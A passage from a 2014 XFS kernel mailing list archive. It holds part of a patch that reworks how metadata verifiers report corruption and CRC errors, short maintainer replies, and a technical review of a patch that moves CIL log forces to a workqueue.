xfs_verifier_error(bp); > } > } > > @@ -794,11 +796,9 @@ xfs_bmbt_write_verify( > struct xfs_buf *bp) > { > if (!xfs_bmbt_verify(bp)) { > - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); > trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > xfs_btree_lblock_calc_crc(bp); > diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c > index 75ef990..1f5af79 100644 > --- a/fs/xfs/xfs_da_btree.c > +++ b/fs/xfs/xfs_da_btree.c > @@ -185,8 +185,8 @@ xfs_da3_node_write_verify( > struct xfs_da3_node_hdr *hdr3 = bp->b_addr; > > if (!xfs_da3_node_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > @@ -209,17 +209,20 @@ static void > xfs_da3_node_read_verify( > struct xfs_buf *bp) > { > - struct xfs_mount *mp = bp->b_target->bt_mount; > struct xfs_da_blkinfo *info = bp->b_addr; > > switch (be16_to_cpu(info->magic)) { > case XFS_DA3_NODE_MAGIC: > - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) > + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { > + xfs_buf_ioerror(bp, EFSBADCRC); > break; > + } > /* fall through */ > case XFS_DA_NODE_MAGIC: > - if (!xfs_da3_node_verify(bp)) > + if (!xfs_da3_node_verify(bp)) { > + xfs_buf_ioerror(bp, EFSCORRUPTED); > break; > + } > return; > case XFS_ATTR_LEAF_MAGIC: > case XFS_ATTR3_LEAF_MAGIC: > @@ -236,8 +239,7 @@ xfs_da3_node_read_verify( > } > > /* corrupt block */ > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > - xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > } > > const struct xfs_buf_ops xfs_da3_node_buf_ops = { > diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c > index 724377e..4f6a38c 100644 > --- a/fs/xfs/xfs_dir2_block.c > +++ b/fs/xfs/xfs_dir2_block.c > @@ -89,12 +89,14 @@ xfs_dir3_block_read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if ((xfs_sb_version_hascrc(&mp->m_sb) && > - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || > - !xfs_dir3_block_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_dir3_block_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -106,8 +108,8 @@ xfs_dir3_block_write_verify( > struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; > > if (!xfs_dir3_block_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c > index 74ae85e..afa4ad5 100644 > --- a/fs/xfs/xfs_dir2_data.c > +++ b/fs/xfs/xfs_dir2_data.c > @@ -241,7 +241,6 @@ static void > xfs_dir3_data_reada_verify( > struct xfs_buf *bp) > { > - struct xfs_mount *mp = bp->b_target->bt_mount; > struct xfs_dir2_data_hdr *hdr = bp->b_addr; > > switch (hdr->magic) { > @@ -255,8 +254,8 @@ xfs_dir3_data_reada_verify( > xfs_dir3_data_verify(bp); > return; > default: > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > break; > } > } > @@ -267,12 +266,14 @@ xfs_dir3_data_read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if ((xfs_sb_version_hascrc(&mp->m_sb) && > - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || > - !xfs_dir3_data_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_dir3_data_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -284,8 +285,8 @@ xfs_dir3_data_write_verify( > struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; > > if (!xfs_dir3_data_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c > index dffb61b..d36e97d 100644 > --- a/fs/xfs/xfs_dir2_leaf.c > +++ b/fs/xfs/xfs_dir2_leaf.c > @@ -179,12 +179,14 @@ __read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if ((xfs_sb_version_hascrc(&mp->m_sb) && > - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || > - !xfs_dir3_leaf_verify(bp, magic)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_dir3_leaf_verify(bp, magic)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -197,8 +199,8 @@ __write_verify( > struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; > > if (!xfs_dir3_leaf_verify(bp, magic)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c > index 0904b20..cb434d7 100644 > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -115,12 +115,14 @@ xfs_dir3_free_read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if ((xfs_sb_version_hascrc(&mp->m_sb) && > - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || > - !xfs_dir3_free_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_dir3_free_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -132,8 +134,8 @@ xfs_dir3_free_write_verify( > struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; > > if (!xfs_dir3_free_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c > index d401457..610da81 100644 > --- a/fs/xfs/xfs_dquot_buf.c > +++ b/fs/xfs/xfs_dquot_buf.c > @@ -257,10 +257,13 @@ xfs_dquot_buf_read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (!xfs_dquot_buf_verify_crc(mp, bp)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_dquot_buf_verify(mp, bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > /* > @@ -275,8 +278,8 @@ xfs_dquot_buf_write_verify( > struct xfs_mount *mp = bp->b_target->bt_mount; > > if (!xfs_dquot_buf_verify(mp, bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > } > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 4657586..5959b3b 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -1568,18 +1568,17 @@ xfs_agi_read_verify( > struct xfs_buf *bp) > { > struct xfs_mount *mp = bp->b_target->bt_mount; > - int agi_ok = 1; > > - if (xfs_sb_version_hascrc(&mp->m_sb)) > - agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); > - > - agi_ok = agi_ok && xfs_agi_verify(bp); > - > - if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, > - XFS_RANDOM_IALLOC_READ_AGI))) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (XFS_TEST_ERROR(!xfs_agi_verify(bp), mp, > + XFS_ERRTAG_IALLOC_READ_AGI, > + XFS_RANDOM_IALLOC_READ_AGI)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -1590,8 +1589,8 @@ xfs_agi_write_verify( > struct xfs_buf_log_item *bip = bp->b_fspriv; > > if (!xfs_agi_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c > index 0028c50..7e309b1 100644 > --- a/fs/xfs/xfs_ialloc_btree.c > +++ b/fs/xfs/xfs_ialloc_btree.c > @@ -243,12 +243,14 @@ static void > xfs_inobt_read_verify( > struct xfs_buf *bp) > { > - if (!(xfs_btree_sblock_verify_crc(bp) && > - xfs_inobt_verify(bp))) { > - trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > + if (!xfs_btree_sblock_verify_crc(bp)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_inobt_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > + > + if (bp->b_error) { > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + xfs_verifier_error(bp); > } > } > > @@ -258,9 +260,8 @@ xfs_inobt_write_verify( > { > if (!xfs_inobt_verify(bp)) { > trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > xfs_btree_sblock_calc_crc(bp); > diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c > index 606b43a..24e9939 100644 > --- a/fs/xfs/xfs_inode_buf.c > +++ b/fs/xfs/xfs_inode_buf.c > @@ -102,8 +102,7 @@ xfs_inode_buf_verify( > } > > xfs_buf_ioerror(bp, EFSCORRUPTED); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, > - mp, dip); > + xfs_verifier_error(bp); > #ifdef DEBUG > xfs_alert(mp, > "bad inode magic/vsn daddr %lld #%d (magic=%x)", > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 818359f..b134aa8 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -614,7 +614,7 @@ xfs_sb_read_verify( > /* Only fail bad secondaries on a known V5 filesystem */ > if (bp->b_bn == XFS_SB_DADDR || > xfs_sb_version_hascrc(&mp->m_sb)) { > - error = EFSCORRUPTED; > + error = EFSBADCRC; > goto out_error; > } > } > @@ -623,10 +623,9 @@ xfs_sb_read_verify( > > out_error: > if (error) { > - if (error == EFSCORRUPTED) > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - mp, bp->b_addr); > xfs_buf_ioerror(bp, error); > + if (error == EFSCORRUPTED || error == EFSBADCRC) > + xfs_verifier_error(bp); > } > } > > @@ -661,9 +660,8 @@ xfs_sb_write_verify( > > error = xfs_sb_verify(bp, false); > if (error) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - mp, bp->b_addr); > xfs_buf_ioerror(bp, error); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c > index defa09f..9b32052 100644 > --- a/fs/xfs/xfs_symlink_remote.c > +++ b/fs/xfs/xfs_symlink_remote.c > @@ -133,11 +133,13 @@ xfs_symlink_read_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return; > > - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || > - !xfs_symlink_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_symlink_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -152,8 +154,8 @@ xfs_symlink_write_verify( > return; > > if (!xfs_symlink_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 08:51:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AEEAA7FC0 for ; Thu, 20 Feb 2014 08:51:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8EBFE8F8037 for ; Thu, 20 Feb 2014 06:50:57 -0800 (PST) X-ASG-Debug-ID: 1392907851-04cb6c06cf2fa8e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id aHUlkeKUOemGspoV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Thu, 20 Feb 2014 06:50:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGUxf-0003ES-Ol; Thu, 20 Feb 2014 14:50:51 +0000 Date: Thu, 20 Feb 2014 06:50:51 -0800 From: Christoph Hellwig To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: remove myself from xfs Message-ID: <20140220145051.GA8366@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: remove myself from xfs References: <20140218205911.GL4806@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140218205911.GL4806@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392907852 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks for all the hard work Ben! Hope we'll still have you and the others around even without the maintainer burden on your shoulders. We usually add a CREDITS entry for retiring maintainers, feel free to add yourself there. From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 08:51:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1EA327FC9 for ; Thu, 20 Feb 2014 08:51:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 93800AC00B for ; Thu, 20 Feb 2014 06:51:32 -0800 (PST) X-ASG-Debug-ID: 1392907890-04cbb00c2b609600001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id LxbBFLu3HwvkLXMa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 06:51:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGUyI-0003Ft-HN; Thu, 20 Feb 2014 14:51:30 +0000 Date: Thu, 20 Feb 2014 06:51:30 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive Message-ID: <20140220145130.GB8366@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392783402-4726-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392907891 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From tinguely@sgi.com Thu Feb 20 08:51:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5F1D57FC9 for ; Thu, 20 Feb 2014 08:51:55 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1D231304032; Thu, 20 Feb 2014 06:51:52 -0800 (PST) Message-ID: <5306168B.8080209@sgi.com> Date: Thu, 20 Feb 2014 08:51:55 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> In-Reply-To: <20140220002358.GH4916@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/19/14 18:23, Dave Chinner wrote: > On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: >> On 02/18/2014 11:16 PM, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> Log forces can occur deep in the call chain when we have relatively >>> little stack free. Log forces can also happen at close to the call >>> chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from >>> places where we really don't want to add more stack overhead. >>> >>> This stack overhead occurs because log forces do foreground CIL >>> pushes (xlog_cil_push_foreground()) rather than waking the >>> background push wq and waiting for the for the push to complete. >>> This foreground push was done to avoid confusing the CFQ Io >>> scheduler when fsync()s were issued, as it has trouble dealing with >>> dependent IOs being issued from different process contexts. >>> >>> Avoiding blowing the stack is much more critical than performance >>> optimisations for CFQ, especially as we've been recommending against >>> the use of CFQ for XFS since 3.2 kernels were release because of >>> it's problems with multi-threaded IO workloads. >>> >>> Hence convert xlog_cil_push_foreground() to move the push work >>> to the CIL workqueue. We already do the waiting for the push to >>> complete in xlog_cil_force_lsn(), so there's nothing else we need to >>> modify to make this work. >>> >>> Signed-off-by: Dave Chinner >>> --- >>> fs/xfs/xfs_log_cil.c | 52 +++++++++++++++++++++++++++++++++++++++------------- >>> 1 file changed, 39 insertions(+), 13 deletions(-) >>> >>> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c >>> index b57a8e0..7e54553 100644 >>> --- a/fs/xfs/xfs_log_cil.c >>> +++ b/fs/xfs/xfs_log_cil.c >>> @@ -499,13 +499,6 @@ xlog_cil_push( >>> cil->xc_ctx = new_ctx; >>> >>> /* >>> - * mirror the new sequence into the cil structure so that we can do >>> - * unlocked checks against the current sequence in log forces without >>> - * risking deferencing a freed context pointer. >>> - */ >>> - cil->xc_current_sequence = new_ctx->sequence; >>> - >>> - /* >>> * The switch is now done, so we can drop the context lock and move out >>> * of a shared context. We can't just go straight to the commit record, >>> * though - we need to synchronise with previous and future commits so >>> @@ -523,8 +516,15 @@ xlog_cil_push( >>> * Hence we need to add this context to the committing context list so >>> * that higher sequences will wait for us to write out a commit record >>> * before they do. >>> + * >>> + * xfs_log_force_lsn requires us to mirror the new sequence into the cil >>> + * structure atomically with the addition of this sequence to the >>> + * committing list. This also ensures that we can do unlocked checks >>> + * against the current sequence in log forces without risking >>> + * deferencing a freed context pointer. >>> */ >>> spin_lock(&cil->xc_push_lock); >>> + cil->xc_current_sequence = new_ctx->sequence; >>> list_add(&ctx->committing,&cil->xc_committing); >>> spin_unlock(&cil->xc_push_lock); >>> up_write(&cil->xc_ctx_lock); >>> @@ -662,8 +662,14 @@ xlog_cil_push_background( >>> >>> } >>> >>> +/* >>> + * xlog_cil_push_now() is used to trigger an immediate CIL push to the sequence >>> + * number that is passed. When it returns, the work will be queued for >>> + * @push_seq, but it won't be completed. The caller is expected to do any >>> + * waiting for push_seq to complete if it is required. >>> + */ >>> static void >>> -xlog_cil_push_foreground( >>> +xlog_cil_push_now( >>> struct xlog *log, >>> xfs_lsn_t push_seq) >>> { >>> @@ -688,10 +694,8 @@ xlog_cil_push_foreground( >>> } >>> >>> cil->xc_push_seq = push_seq; >>> + queue_work(log->l_mp->m_cil_workqueue,&cil->xc_push_work); >>> spin_unlock(&cil->xc_push_lock); >>> - >>> - /* do the push now */ >>> - xlog_cil_push(log); >>> } >>> >>> bool >>> @@ -795,7 +799,8 @@ xlog_cil_force_lsn( >>> * xlog_cil_push() handles racing pushes for the same sequence, >>> * so no need to deal with it here. >>> */ >>> - xlog_cil_push_foreground(log, sequence); >>> +restart: >>> + xlog_cil_push_now(log, sequence); >>> >>> /* >>> * See if we can find a previous sequence still committing. >>> @@ -803,7 +808,6 @@ xlog_cil_force_lsn( >>> * before allowing the force of push_seq to go ahead. Hence block >>> * on commits for those as well. >>> */ >>> -restart: >>> spin_lock(&cil->xc_push_lock); >>> list_for_each_entry(ctx,&cil->xc_committing, committing) { >>> if (ctx->sequence> sequence) >>> @@ -821,6 +825,28 @@ restart: >>> /* found it! */ >>> commit_lsn = ctx->commit_lsn; >>> } >>> + >>> + /* >>> + * The call to xlog_cil_push_now() executes the push in the background. >>> + * Hence by the time we have got here it our sequence may not have been >>> + * pushed yet. This is true if the current sequence still matches the >>> + * push sequence after the above wait loop and the CIL still contains >>> + * dirty objects. >>> + * >>> + * When the push occurs, it will empty the CIL and >>> + * atomically increment the currect sequence past the push sequence and >>> + * move it into the committing list. Of course, if the CIL is clean at >>> + * the time of the push, it won't have pushed the CIL at all, so in that >>> + * case we should try the push for this sequence again from the start >>> + * just in case. >>> + */ >>> + >>> + if (sequence == cil->xc_current_sequence&& >>> + !list_empty(&cil->xc_cil)) { >>> + spin_unlock(&cil->xc_push_lock); >>> + goto restart; >>> + } >>> + >> >> IIUC, the objective here is to make sure we don't leave this code path >> before the push even starts and the ctx makes it onto the committing >> list, due to xlog_cil_push_now() moving things to a workqueue. > > Right. > >> Given that, what's the purpose of re-executing the background push as >> opposed to restarting the wait sequence (as done previously)? It looks >> like push_now() won't queue the work again due to cil->xc_push_seq, but >> it will flush the queue and I suppose make it more likely the push >> starts. Is that the intent? > > Effectively. But the other thing that it is protecting against is > that foreground push is done without holding the cil->xc_ctx_lock, > and so we can get the situation where we try a foreground push > of the current sequence, see that the CIL is empty and return > without pushing, wait for previous sequences to commit, then find > that the CIL has items on the CIL in the sequence we are supposed to > be committing. > > In this case, we don't know if this occurred because the workqueue > has not started working on our push, or whether we raced on an empty > CIL, and hence we need to make sure that everything in the sequence > we are support to commit is pushed to the log. > > Hence if the current sequence is dirty after we've ensure that all > prior sequences are fully checkpointed, need to go back and > push the CIL again to ensure that when we return to the caller the > CIL is checkpointed up to the point in time of the log force > occurring. The desired push sequence was taken from an item on the CIL (either when added or from a pinned item). How could the CIL now be empty other than someone else pushed to at least the desire sequence? A flush_work() should be enough in the case where the ctx of the desire sequence is not on the xc_committing list. The flush_work will wait for the worker to start and place the ctx of the desired sequence into the xc_committing list. This preventing a tight loop waiting for the cil push worker to start. Starting the cil push worker for every wakeup of smaller sequence in the list_for_each_entry loop seems wasteful. We know the later error paths in xfs_cil_push() will not do a wake, now is a good time to fix that. --Mark. From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 08:56:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C8B77FC1 for ; Thu, 20 Feb 2014 08:56:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 661508F8037 for ; Thu, 20 Feb 2014 06:56:03 -0800 (PST) X-ASG-Debug-ID: 1392908162-04cb6c06cf2faf80001-NocioJ Received: from bombadil.infradead.org 